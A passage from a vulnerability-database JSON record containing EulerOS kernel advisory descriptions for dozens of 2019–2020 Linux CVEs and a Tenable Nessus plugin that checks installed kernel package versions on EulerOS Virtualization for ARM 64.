/sys/class/zram-control/hot_add file can create ZRAM device nodes in the /dev/ directory. This read allocates kernel memory and is not accounted for a user that triggers the creation of that ZRAM device. With this vulnerability, continually reading the device may consume a large amount of system memory and cause the Out-of-Memory (OOM) killer to activate and terminate random userspace processes, possibly making the system inoperable.(CVE-2020-10781)A stack buffer overflow issue was found in the get_raw_socket() routine of the Host kernel accelerator for virtio net (vhost-net) driver. It could occur while doing an ictol(VHOST_NET_SET_BACKEND) call, and retrieving socket name in a kernel stack variable via get_raw_socket(). A user able to perform ioctl(2) calls on the '/dev/vhost-net' device may use this flaw to crash the kernel resulting in DoS issue.(CVE-2020-10942)A flaw was found in the Linux kernel's implementation of the pivot_root syscall. This flaw allows a local privileged user (root outside or root inside a privileged container) to exploit a race condition to manipulate the reference count of the root filesystem. To be able to abuse this flaw, the process or user calling pivot_root must have advanced permissions. The highest threat from this vulnerability is to system availability.(CVE-2020-12114)A use-after-free flaw was found in usb_sg_cancel in drivers/usb/core/message.c in the USB core subsystem.\n This flaw allows a local attacker with a special user or root privileges to crash the system due to a race problem in the scatter-gather cancellation and transfer completion in usb_sg_wait. This vulnerability can also lead to a leak of internal kernel information.(CVE-2020-12464)A memory overflow and data corruption flaw were found in the Mediatek MT76 driver module for WiFi in mt76_add_fragment in driverset/wireless/mediatek/mt76/dma.c. An oversized packet with too many rx fragments causes an overflow and corruption in memory of adjacent pages. A local attacker with a special user or root privileges can cause a denial of service or a leak of internal kernel information.(CVE-2020-12465)A vulnerability was found in __mptctl_ioctl in drivers/message/fusion/mptctl.c in Fusion MPT base driver 'mptctl' in the SCSI device module, where an incorrect lock leads to a race problem. This flaw allows an attacker with local access and special user (or root) privileges to cause a denial of service.(CVE-2020-12652)A flaw was found in the way the mwifiex_cmd_append_vsie_tlv() in Linux kernel's Marvell WiFi-Ex driver handled vendor specific information elements. A local user could use this flaw to escalate their privileges on the system.(CVE-2020-12653)A flaw was found in the Linux kernel. The Marvell mwifiex driver allows a remote WiFi access point to trigger a heap-based memory buffer overflow due to an incorrect memcpy operation. The highest threat from this vulnerability is to data integrity and system availability.(CVE-2020-12654)A flaw was discovered in the XFS source in the Linux kernel. This flaw allows an attacker with the ability to mount an XFS filesystem, to trigger a denial of service while attempting to sync a file located on an XFS v5 image with crafted metadata.(CVE-2020-12655)An out-of-bounds (OOB) memory access flaw was found in the Network XDP (the eXpress Data Path) module in the Linux kernel's xdp_umem_reg function in net/xdp/xdp_umem.c.\n When a user with special user privilege of CAP_NET_ADMIN (or root) calls setsockopt to register umem ring on XDP socket, passing the headroom value larger than the available space in the chunk, it leads to an out-of-bounds write, causing panic or possible memory corruption. This flaw may lead to privilege escalation if a local end-user is granted permission to influence the execution of code in this manner.(CVE-2020-12659)A vulnerability was found in sg_write in drivers/scsi/sg.c in the SCSI generic (sg) driver subsystem. This flaw allows an attacker with local access and special user or root privileges to cause a denial of service if the allocated list is not cleaned with an invalid (Sg_fd * sfp) pointer at the time of failure, also possibly causing a kernel internal information leak problem.(CVE-2020-12770)An issue was discovered in the Linux kernel through 5.6.11. btree_gc_coalesce in drivers/md/bcache/btree.c has a deadlock if a coalescing operation fails.(CVE-2020-12771)A flaw was found in the Linux kernel loose validation of child/parent process identification handling while filtering signal handlers. A local attacker is able to abuse this flaw to bypass checks to send any signal to a privileged process.(CVE-2020-12826)A flaw was found in the Linux kernel, where it allows userspace processes, for example, a guest VM, to directly access h/w devices via its VFIO driver modules. The VFIO modules allow users to enable or disable access to the devices' MMIO memory address spaces. If a user attempts to access the read/write devices' MMIO address space when it is disabled, some h/w devices issue an interrupt to the CPU to indicate a fatal error condition, crashing the system. This flaw allows a guest user or process to crash the host system resulting in a denial of service.(CVE-2020-12888)gadget_dev_desc_UDC_store in drivers/usb/gadget/configfs.c in the Linux kernel through 5.6.13 relies on kstrdup without considering the possibility of an internal '\\0' value, which allows attackers to trigger an out-of-bounds read, aka CID-15753588bcd4.(CVE-2020-13143)** DISPUTED ** An issue was discovered in the Linux kernel through 5.7.1.\n drivers/tty/vt/keyboard.c has an integer overflow if k_ascii is called several times in a row, aka CID-b86dab054059. NOTE: Members in the community argue that the integer overflow does not lead to a security issue in this case.(CVE-2020-13974)A use-after-free flaw was found in slcan_write_wakeup in driverset/can/slcan.c in the serial CAN module slcan. A race condition occurs when communicating with can using slcan between the write (scheduling the transmit) and closing (flushing out any pending queues) the SLCAN channel. This flaw allows a local attacker with special user or root privileges to cause a denial of service or a kernel information leak. The highest threat from this vulnerability is to system availability.(CVE-2020-14416)In the Linux kernel through 5.7.6, usbtest_disconnect in drivers/usb/misc/usbtest.c has a memory leak, aka CID-28ebeb8db770.(CVE-2020-15393)The Linux kernel through 5.7.11 allows remote attackers to make observations that help to obtain sensitive information about the internal state of the network RNG, aka CID-f227e3ec3b5c. This is related to drivers/char/random.c and kernel/time/timer.c.(CVE-2020-16166)A flaw was found in the Linux kernel's implementation of Userspace core dumps. This flaw allows an attacker with a local account to crash a trivial program and exfiltrate private kernel data.(CVE-2020-10732)A flaw null pointer dereference in the Linux kernel cgroupv2 subsystem in versions before 5.7.10 was found in the way when reboot the system. A local user could use this flaw to crash the system or escalate their privileges on the system.(CVE-2020-14356)The Linux kernel 4.9.x before 4.9.233, 4.14.x before 4.14.194, and 4.19.x before 4.19.140 has a use-after-free because skcd->no_refcnt was not considered during a backport of a CVE-2020-14356 patch. This is related to the cgroups feature.(CVE-2020-25220)get_gate_page in mm/gup.c in the Linux kernel 5.7.x and 5.8.x before 5.8.7 allows privilege escalation because of incorrect reference counting (caused by gate page mishandling) of the struct page that backs the vsyscall page. The result is a refcount underflow. This can be triggered by any 64-bit process that can use ptrace() or process_vm_readv(), aka CID-9fa2dd946743.(CVE-2020-25221)In the Linux kernel through 5.8.7, local attackers able to inject conntrack netlink configuration could overflow a local buffer, causing crashes or triggering use of incorrect protocol numbers in ctnetlink_parse_tuple_filter in net/netfilter/nf_conntrack_netlink.c, aka CID-1cc5ef91d2ff.(CVE-2020-25211)A buffer over-read flaw was found in RH kernel versions before 5.0 in crypto_authenc_extractkeys in crypto/authenc.c in the IPsec Cryptographic algorithm's module, authenc. When a payload longer than 4 bytes, and is not following 4-byte alignment boundary guidelines, it causes a buffer over-read threat, leading to a system crash.\n This flaw allows a local attacker with user privileges to cause a denial of service.(CVE-2020-10769)A flaw was found in the Linux kernel's implementation of the invert video code on VGA consoles when a local attacker attempts to resize the console, calling an ioctl VT_RESIZE, which causes an out-of-bounds write to occur. This flaw allows a local user with access to the VGA console to crash the system, potentially escalating their privileges on the system. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.(CVE-2020-14331)In cdev_get of char_dev.c, there is a possible use-after-free due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product:\n AndroidVersions: Android-10Android ID:\n A-153467744(CVE-2020-0305)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 7.8, "vector": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-09-08T00:00:00", "type": "nessus", "title": "EulerOS Virtualization for ARM 64 3.0.2.0 : kernel (EulerOS-SA-2020-1958)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-19377", "CVE-2019-19462", "CVE-2019-20806", "CVE-2019-20810", "CVE-2019-20811", "CVE-2019-20812", "CVE-2019-9445", "CVE-2020-0009", "CVE-2020-0305", "CVE-2020-0543", "CVE-2020-10711", "CVE-2020-10732", "CVE-2020-10751", "CVE-2020-10757", "CVE-2020-10766", "CVE-2020-10767", "CVE-2020-10768", "CVE-2020-10769", "CVE-2020-10781", "CVE-2020-10942", "CVE-2020-12114", "CVE-2020-12464", "CVE-2020-12465", "CVE-2020-12652", "CVE-2020-12653", "CVE-2020-12654", "CVE-2020-12655", "CVE-2020-12659", "CVE-2020-12770", "CVE-2020-12771", "CVE-2020-12826", "CVE-2020-12888", "CVE-2020-13143", "CVE-2020-13974", "CVE-2020-14331", "CVE-2020-14356", "CVE-2020-14416", "CVE-2020-15393", "CVE-2020-16166", "CVE-2020-25211", "CVE-2020-25220", "CVE-2020-25221"], "modified": "2021-07-06T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:kernel", "p-cpe:/a:huawei:euleros:kernel-devel", "p-cpe:/a:huawei:euleros:kernel-headers", "p-cpe:/a:huawei:euleros:kernel-tools", "p-cpe:/a:huawei:euleros:kernel-tools-libs", "p-cpe:/a:huawei:euleros:kernel-tools-libs-devel", "p-cpe:/a:huawei:euleros:perf", "p-cpe:/a:huawei:euleros:python-perf", "cpe:/o:huawei:euleros:uvp:3.0.2.0"], "id": "EULEROS_SA-2020-1958.NASL", "href": "https://www.tenable.com/plugins/nessus/140328", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(140328);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/07/06\");\n\n script_cve_id(\n \"CVE-2019-19377\",\n \"CVE-2019-19462\",\n \"CVE-2019-20806\",\n \"CVE-2019-20810\",\n \"CVE-2019-20811\",\n \"CVE-2019-20812\",\n \"CVE-2019-9445\",\n \"CVE-2020-0009\",\n \"CVE-2020-0305\",\n \"CVE-2020-0543\",\n \"CVE-2020-10711\",\n \"CVE-2020-10732\",\n \"CVE-2020-10751\",\n \"CVE-2020-10757\",\n \"CVE-2020-10766\",\n \"CVE-2020-10767\",\n \"CVE-2020-10768\",\n \"CVE-2020-10769\",\n \"CVE-2020-10781\",\n \"CVE-2020-10942\",\n \"CVE-2020-12114\",\n \"CVE-2020-12464\",\n \"CVE-2020-12465\",\n \"CVE-2020-12652\",\n \"CVE-2020-12653\",\n \"CVE-2020-12654\",\n \"CVE-2020-12655\",\n \"CVE-2020-12659\",\n \"CVE-2020-12770\",\n \"CVE-2020-12771\",\n \"CVE-2020-12826\",\n \"CVE-2020-12888\",\n \"CVE-2020-13143\",\n \"CVE-2020-13974\",\n \"CVE-2020-14331\",\n \"CVE-2020-14356\",\n \"CVE-2020-14416\",\n \"CVE-2020-15393\",\n \"CVE-2020-16166\",\n \"CVE-2020-25211\",\n \"CVE-2020-25220\",\n \"CVE-2020-25221\"\n );\n\n script_name(english:\"EulerOS Virtualization for ARM 64 3.0.2.0 : kernel (EulerOS-SA-2020-1958)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS Virtualization for ARM 64 host is missing multiple security\nupdates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the kernel packages installed, the\nEulerOS Virtualization for ARM 64 installation on the remote host is\naffected by the following vulnerabilities :\n\n - The kernel package contains the Linux kernel (vmlinuz),\n the core of any Linux operating system. The kernel\n handles the basic functions of the operating system:\n memory allocation, process allocation, device input and\n output, etc. Security Fix(es):In the Android kernel in\n F2FS driver there is a possible out of bounds read due\n to a missing bounds check. This could lead to local\n information disclosure with system execution privileges\n needed. User interaction is not needed for\n exploitation.(CVE-2019-9445)In calc_vm_may_flags of\n ashmem.c, there is a possible arbitrary write to shared\n memory due to a permissions bypass. This could lead to\n local escalation of privilege by corrupting memory\n shared between processes, with no additional execution\n privileges needed. User interaction is not needed for\n exploitation. Product: Android Versions: Android kernel\n Android ID: A-142938932(CVE-2020-0009)A new domain\n bypass transient execution attack known as Special\n Register Buffer Data Sampling (SRBDS) has been found.\n This flaw allows data values from special internal\n registers to be leaked by an attacker able to execute\n code on any core of the CPU. An unprivileged, local\n attacker can use this flaw to infer values returned by\n affected instructions known to be commonly used during\n cryptographic operations that rely on uniqueness,\n secrecy, or both.(CVE-2020-0543)A flaw was found in the\n Linux kernel's implementation of the BTRFS file system.\n A local attacker, with the ability to mount a file\n system, can create a use-after-free memory fault after\n the file system has been unmounted. This may lead to\n memory corruption or privilege\n escalation.(CVE-2019-19377)A NULL pointer dereference\n flaw may occur in the Linux kernel's relay_open in\n kernel/relay.c. if the alloc_percpu() function is not\n validated in time of failure and used as a valid\n address for access. An attacker could use this flaw to\n cause a denial of service.(CVE-2019-19462)A NULL\n pointer dereference flaw was found in\n tw5864_handle_frame function in\n drivers/media/pci/tw5864/tw5864-video.c in the TW5864\n Series Video media driver. The pointer 'vb' is\n assigned, but not validated before its use, and can\n lead to a denial of service. This flaw allows a local\n attacker with special user or root privileges to crash\n the system or leak internal kernel\n information.(CVE-2019-20806)go7007_snd_init in\n drivers/media/usb/go7007/snd-go7007.c in the Linux\n kernel before 5.6 does not call snd_card_free for a\n failure path, which causes a memory leak, aka\n CID-9453264ef586.(CVE-2019-20810)An issue was\n discovered in the Linux kernel before 5.0.6. In\n rx_queue_add_kobject() and netdev_queue_add_kobject()\n in net/coreet-sysfs.c, a reference count is mishandled,\n aka CID-a3e23f719f5c.(CVE-2019-20811)A flaw was found\n in the way the af_packet functionality in the Linux\n kernel handled the retirement timer setting for\n TPACKET_v3 when getting settings from the underlying\n network device errors out. This flaw allows a local\n user who can open the af_packet domain socket and who\n can hit the error path, to use this vulnerability to\n starve the system.(CVE-2019-20812)A NULL pointer\n dereference flaw was found in the Linux kernel's\n SELinux subsystem. This flaw occurs while importing the\n Commercial IP Security Option (CIPSO) protocol's\n category bitmap into the SELinux extensible bitmap via\n the' ebitmap_netlbl_import' routine. While processing\n the CIPSO restricted bitmap tag in the\n 'cipso_v4_parsetag_rbm' routine, it sets the security\n attribute to indicate that the category bitmap is\n present, even if it has not been allocated. This issue\n leads to a NULL pointer dereference issue while\n importing the same category bitmap into SELinux. This\n flaw allows a remote network user to crash the system\n kernel, resulting in a denial of\n service.(CVE-2020-10711)A flaw was found in the Linux\n kernel's SELinux LSM hook implementation, where it\n anticipated the skb would only contain a single Netlink\n message. The hook incorrectly validated the first\n Netlink message in the skb only, to allow or deny the\n rest of the messages within the skb with the granted\n permissions and without further processing. At this\n time, there is no known ability for an attacker to\n abuse this flaw.(CVE-2020-10751)A flaw was found in the\n Linux Kernel in versions after 4.5-rc1 in the way\n mremap handled DAX Huge Pages. This flaw allows a local\n attacker with access to a DAX enabled storage to\n escalate their privileges on the\n system.(CVE-2020-10757)A logic bug flaw was found in\n the Linux kernel's implementation of SSBD. A bug in the\n logic handling allows an attacker with a local account\n to disable SSBD protection during a context switch when\n additional speculative execution mitigations are in\n place. This issue was introduced when the per\n task/process conditional STIPB switching was added on\n top of the existing SSBD switching. The highest threat\n from this vulnerability is to\n confidentiality.(CVE-2020-10766)A flaw was found in the\n Linux kernel's implementation of the Enhanced IBPB\n (Indirect Branch Prediction Barrier). The IBPB\n mitigation will be disabled when STIBP is not available\n or when the Enhanced Indirect Branch Restricted\n Speculation (IBRS) is available. This flaw allows a\n local attacker to perform a Spectre V2 style attack\n when this configuration is active. The highest threat\n from this vulnerability is to\n confidentiality.(CVE-2020-10767)A flaw was found in the\n prctl() function, where it can be used to enable\n indirect branch speculation after it has been disabled.\n This call incorrectly reports it as being 'force\n disabled' when it is not and opens the system to\n Spectre v2 attacks. The highest threat from this\n vulnerability is to confidentiality.(CVE-2020-10768)A\n flaw was found in the ZRAM kernel module, where a user\n with a local account and the ability to read the\n /sys/class/zram-control/hot_add file can create ZRAM\n device nodes in the /dev/ directory. This read\n allocates kernel memory and is not accounted for a user\n that triggers the creation of that ZRAM device. With\n this vulnerability, continually reading the device may\n consume a large amount of system memory and cause the\n Out-of-Memory (OOM) killer to activate and terminate\n random userspace processes, possibly making the system\n inoperable.(CVE-2020-10781)A stack buffer overflow\n issue was found in the get_raw_socket() routine of the\n Host kernel accelerator for virtio net (vhost-net)\n driver. It could occur while doing an\n ictol(VHOST_NET_SET_BACKEND) call, and retrieving\n socket name in a kernel stack variable via\n get_raw_socket(). A user able to perform ioctl(2) calls\n on the '/dev/vhost-net' device may use this flaw to\n crash the kernel resulting in DoS\n issue.(CVE-2020-10942)A flaw was found in the Linux\n kernel's implementation of the pivot_root syscall. This\n flaw allows a local privileged user (root outside or\n root inside a privileged container) to exploit a race\n condition to manipulate the reference count of the root\n filesystem. To be able to abuse this flaw, the process\n or user calling pivot_root must have advanced\n permissions. The highest threat from this vulnerability\n is to system availability.(CVE-2020-12114)A\n use-after-free flaw was found in usb_sg_cancel in\n drivers/usb/core/message.c in the USB core subsystem.\n This flaw allows a local attacker with a special user\n or root privileges to crash the system due to a race\n problem in the scatter-gather cancellation and transfer\n completion in usb_sg_wait. This vulnerability can also\n lead to a leak of internal kernel\n information.(CVE-2020-12464)A memory overflow and data\n corruption flaw were found in the Mediatek MT76 driver\n module for WiFi in mt76_add_fragment in\n driverset/wireless/mediatek/mt76/dma.c. An oversized\n packet with too many rx fragments causes an overflow\n and corruption in memory of adjacent pages. A local\n attacker with a special user or root privileges can\n cause a denial of service or a leak of internal kernel\n information.(CVE-2020-12465)A vulnerability was found\n in __mptctl_ioctl in drivers/message/fusion/mptctl.c in\n Fusion MPT base driver 'mptctl' in the SCSI device\n module, where an incorrect lock leads to a race\n problem. This flaw allows an attacker with local access\n and special user (or root) privileges to cause a denial\n of service.(CVE-2020-12652)A flaw was found in the way\n the mwifiex_cmd_append_vsie_tlv() in Linux kernel's\n Marvell WiFi-Ex driver handled vendor specific\n information elements. A local user could use this flaw\n to escalate their privileges on the\n system.(CVE-2020-12653)A flaw was found in the Linux\n kernel. The Marvell mwifiex driver allows a remote WiFi\n access point to trigger a heap-based memory buffer\n overflow due to an incorrect memcpy operation. The\n highest threat from this vulnerability is to data\n integrity and system availability.(CVE-2020-12654)A\n flaw was discovered in the XFS source in the Linux\n kernel. This flaw allows an attacker with the ability\n to mount an XFS filesystem, to trigger a denial of\n service while attempting to sync a file located on an\n XFS v5 image with crafted metadata.(CVE-2020-12655)An\n out-of-bounds (OOB) memory access flaw was found in the\n Network XDP (the eXpress Data Path) module in the Linux\n kernel's xdp_umem_reg function in net/xdp/xdp_umem.c.\n When a user with special user privilege of\n CAP_NET_ADMIN (or root) calls setsockopt to register\n umem ring on XDP socket, passing the headroom value\n larger than the available space in the chunk, it leads\n to an out-of-bounds write, causing panic or possible\n memory corruption. This flaw may lead to privilege\n escalation if a local end-user is granted permission to\n influence the execution of code in this\n manner.(CVE-2020-12659)A vulnerability was found in\n sg_write in drivers/scsi/sg.c in the SCSI generic (sg)\n driver subsystem. This flaw allows an attacker with\n local access and special user or root privileges to\n cause a denial of service if the allocated list is not\n cleaned with an invalid (Sg_fd * sfp) pointer at the\n time of failure, also possibly causing a kernel\n internal information leak problem.(CVE-2020-12770)An\n issue was discovered in the Linux kernel through\n 5.6.11. btree_gc_coalesce in drivers/md/bcache/btree.c\n has a deadlock if a coalescing operation\n fails.(CVE-2020-12771)A flaw was found in the Linux\n kernel loose validation of child/parent process\n identification handling while filtering signal\n handlers. A local attacker is able to abuse this flaw\n to bypass checks to send any signal to a privileged\n process.(CVE-2020-12826)A flaw was found in the Linux\n kernel, where it allows userspace processes, for\n example, a guest VM, to directly access h/w devices via\n its VFIO driver modules. The VFIO modules allow users\n to enable or disable access to the devices' MMIO memory\n address spaces. If a user attempts to access the\n read/write devices' MMIO address space when it is\n disabled, some h/w devices issue an interrupt to the\n CPU to indicate a fatal error condition, crashing the\n system. This flaw allows a guest user or process to\n crash the host system resulting in a denial of\n service.(CVE-2020-12888)gadget_dev_desc_UDC_store in\n drivers/usb/gadget/configfs.c in the Linux kernel\n through 5.6.13 relies on kstrdup without considering\n the possibility of an internal '\\0' value, which allows\n attackers to trigger an out-of-bounds read, aka\n CID-15753588bcd4.(CVE-2020-13143)** DISPUTED ** An\n issue was discovered in the Linux kernel through 5.7.1.\n drivers/tty/vt/keyboard.c has an integer overflow if\n k_ascii is called several times in a row, aka\n CID-b86dab054059. NOTE: Members in the community argue\n that the integer overflow does not lead to a security\n issue in this case.(CVE-2020-13974)A use-after-free\n flaw was found in slcan_write_wakeup in\n driverset/can/slcan.c in the serial CAN module slcan. A\n race condition occurs when communicating with can using\n slcan between the write (scheduling the transmit) and\n closing (flushing out any pending queues) the SLCAN\n channel. This flaw allows a local attacker with special\n user or root privileges to cause a denial of service or\n a kernel information leak. The highest threat from this\n vulnerability is to system\n availability.(CVE-2020-14416)In the Linux kernel\n through 5.7.6, usbtest_disconnect in\n drivers/usb/misc/usbtest.c has a memory leak, aka\n CID-28ebeb8db770.(CVE-2020-15393)The Linux kernel\n through 5.7.11 allows remote attackers to make\n observations that help to obtain sensitive information\n about the internal state of the network RNG, aka\n CID-f227e3ec3b5c. This is related to\n drivers/char/random.c and\n kernel/time/timer.c.(CVE-2020-16166)A flaw was found in\n the Linux kernel's implementation of Userspace core\n dumps. This flaw allows an attacker with a local\n account to crash a trivial program and exfiltrate\n private kernel data.(CVE-2020-10732)A flaw null pointer\n dereference in the Linux kernel cgroupv2 subsystem in\n versions before 5.7.10 was found in the way when reboot\n the system. A local user could use this flaw to crash\n the system or escalate their privileges on the\n system.(CVE-2020-14356)The Linux kernel 4.9.x before\n 4.9.233, 4.14.x before 4.14.194, and 4.19.x before\n 4.19.140 has a use-after-free because skcd->no_refcnt\n was not considered during a backport of a\n CVE-2020-14356 patch. This is related to the cgroups\n feature.(CVE-2020-25220)get_gate_page in mm/gup.c in\n the Linux kernel 5.7.x and 5.8.x before 5.8.7 allows\n privilege escalation because of incorrect reference\n counting (caused by gate page mishandling) of the\n struct page that backs the vsyscall page. The result is\n a refcount underflow. This can be triggered by any\n 64-bit process that can use ptrace() or\n process_vm_readv(), aka\n CID-9fa2dd946743.(CVE-2020-25221)In the Linux kernel\n through 5.8.7, local attackers able to inject conntrack\n netlink configuration could overflow a local buffer,\n causing crashes or triggering use of incorrect protocol\n numbers in ctnetlink_parse_tuple_filter in\n net/netfilter/nf_conntrack_netlink.c, aka\n CID-1cc5ef91d2ff.(CVE-2020-25211)A buffer over-read\n flaw was found in RH kernel versions before 5.0 in\n crypto_authenc_extractkeys in crypto/authenc.c in the\n IPsec Cryptographic algorithm's module, authenc. When a\n payload longer than 4 bytes, and is not following\n 4-byte alignment boundary guidelines, it causes a\n buffer over-read threat, leading to a system crash.\n This flaw allows a local attacker with user privileges\n to cause a denial of service.(CVE-2020-10769)A flaw was\n found in the Linux kernel's implementation of the\n invert video code on VGA consoles when a local attacker\n attempts to resize the console, calling an ioctl\n VT_RESIZE, which causes an out-of-bounds write to\n occur. This flaw allows a local user with access to the\n VGA console to crash the system, potentially escalating\n their privileges on the system. The highest threat from\n this vulnerability is to data confidentiality and\n integrity as well as system\n availability.(CVE-2020-14331)In cdev_get of char_dev.c,\n there is a possible use-after-free due to a race\n condition. This could lead to local escalation of\n privilege with System execution privileges needed. User\n interaction is not needed for exploitation.Product:\n AndroidVersions: Android-10Android ID:\n A-153467744(CVE-2020-0305)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-1958\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?ea61decf\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected kernel packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-13974\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/09/07\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/09/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:uvp:3.0.2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (uvp != \"3.0.2.0\") audit(AUDIT_OS_NOT, \"EulerOS Virtualization 3.0.2.0\");\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nflag = 0;\n\npkgs = [\"kernel-4.19.36-vhulk1907.1.0.h820\",\n \"kernel-devel-4.19.36-vhulk1907.1.0.h820\",\n \"kernel-headers-4.19.36-vhulk1907.1.0.h820\",\n \"kernel-tools-4.19.36-vhulk1907.1.0.h820\",\n \"kernel-tools-libs-4.19.36-vhulk1907.1.0.h820\",\n \"kernel-tools-libs-devel-4.19.36-vhulk1907.1.0.h820\",\n \"perf-4.19.36-vhulk1907.1.0.h820\",\n \"python-perf-4.19.36-vhulk1907.1.0.h820\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-06-16T14:53:08", "description": "According to the versions of the kernel packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities :\n\n - A flaw that allowed an attacker to corrupt memory and possibly escalate privileges was found in the mwifiex kernel module while connecting to a malicious wireless network(CVE-2019-3846)\n\n - An issue was discovered in the Linux kernel before 5.6.1. drivers/media/usb/gspca/ov519.c allows NULL pointer dereferences in ov511_mode_init_regs and ov518_mode_init_regs when there are zero endpoints(CVE-2020-11608)\n\n - In the Linux kernel before 5.5.8, get_raw_socket in drivers/vhost/net.c lacks validation of an sk_family field, which might allow attackers to trigger kernel stack corruption via crafted system calls.(CVE-2020-10942)\n\n - An issue was discovered in the stv06xx subsystem in the Linux kernel before 5.6.1.\n drivers/media/usb/gspca/stv06xx/stv06xx.c and drivers/media/usb/gspca/stv06xx/stv06xx_pb0100.c mishandle invalid descriptors, as demonstrated by a NULL pointer dereference, aka CID-485b06aadb93.(CVE-2020-11609)\n\n - An out-of-bounds write flaw was found in the Linux kernel. A crafted keycode table could be used by drivers/input/input.c to perform the out-of-bounds write. A local user with root access can insert garbage to this keycode table that can lead to out-of-bounds memory access. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.(CVE-2019-20636)\n\n - The kernel in Red Hat Enterprise Linux 7 and MRG-2 does not clear garbage data for SG_IO buffer, which may leaking sensitive information to userspace.(CVE-2014-8181)\n\n - A flaw was found in the Linux kernels SELinux LSM hook implementation before version 5.7, where it incorrectly assumed that an skb would only contain a single netlink message. The hook would incorrectly only validate the first netlink message in the skb and allow or deny the rest of the messages within the skb with the granted permission without further processing.(CVE-2020-10751)\n\n - An information disclosure vulnerability exists when certain central processing units (CPU) speculatively access memory, aka 'Windows Kernel Information Disclosure Vulnerability'.(CVE-2019-1125)\n\n - A memory leak in the ath10k_usb_hif_tx_sg() function in drivers/net/wireless/ath/ath10k/usb.c in the Linux kernel through 5.3.11 allows attackers to cause a denial of service (memory consumption) by triggering 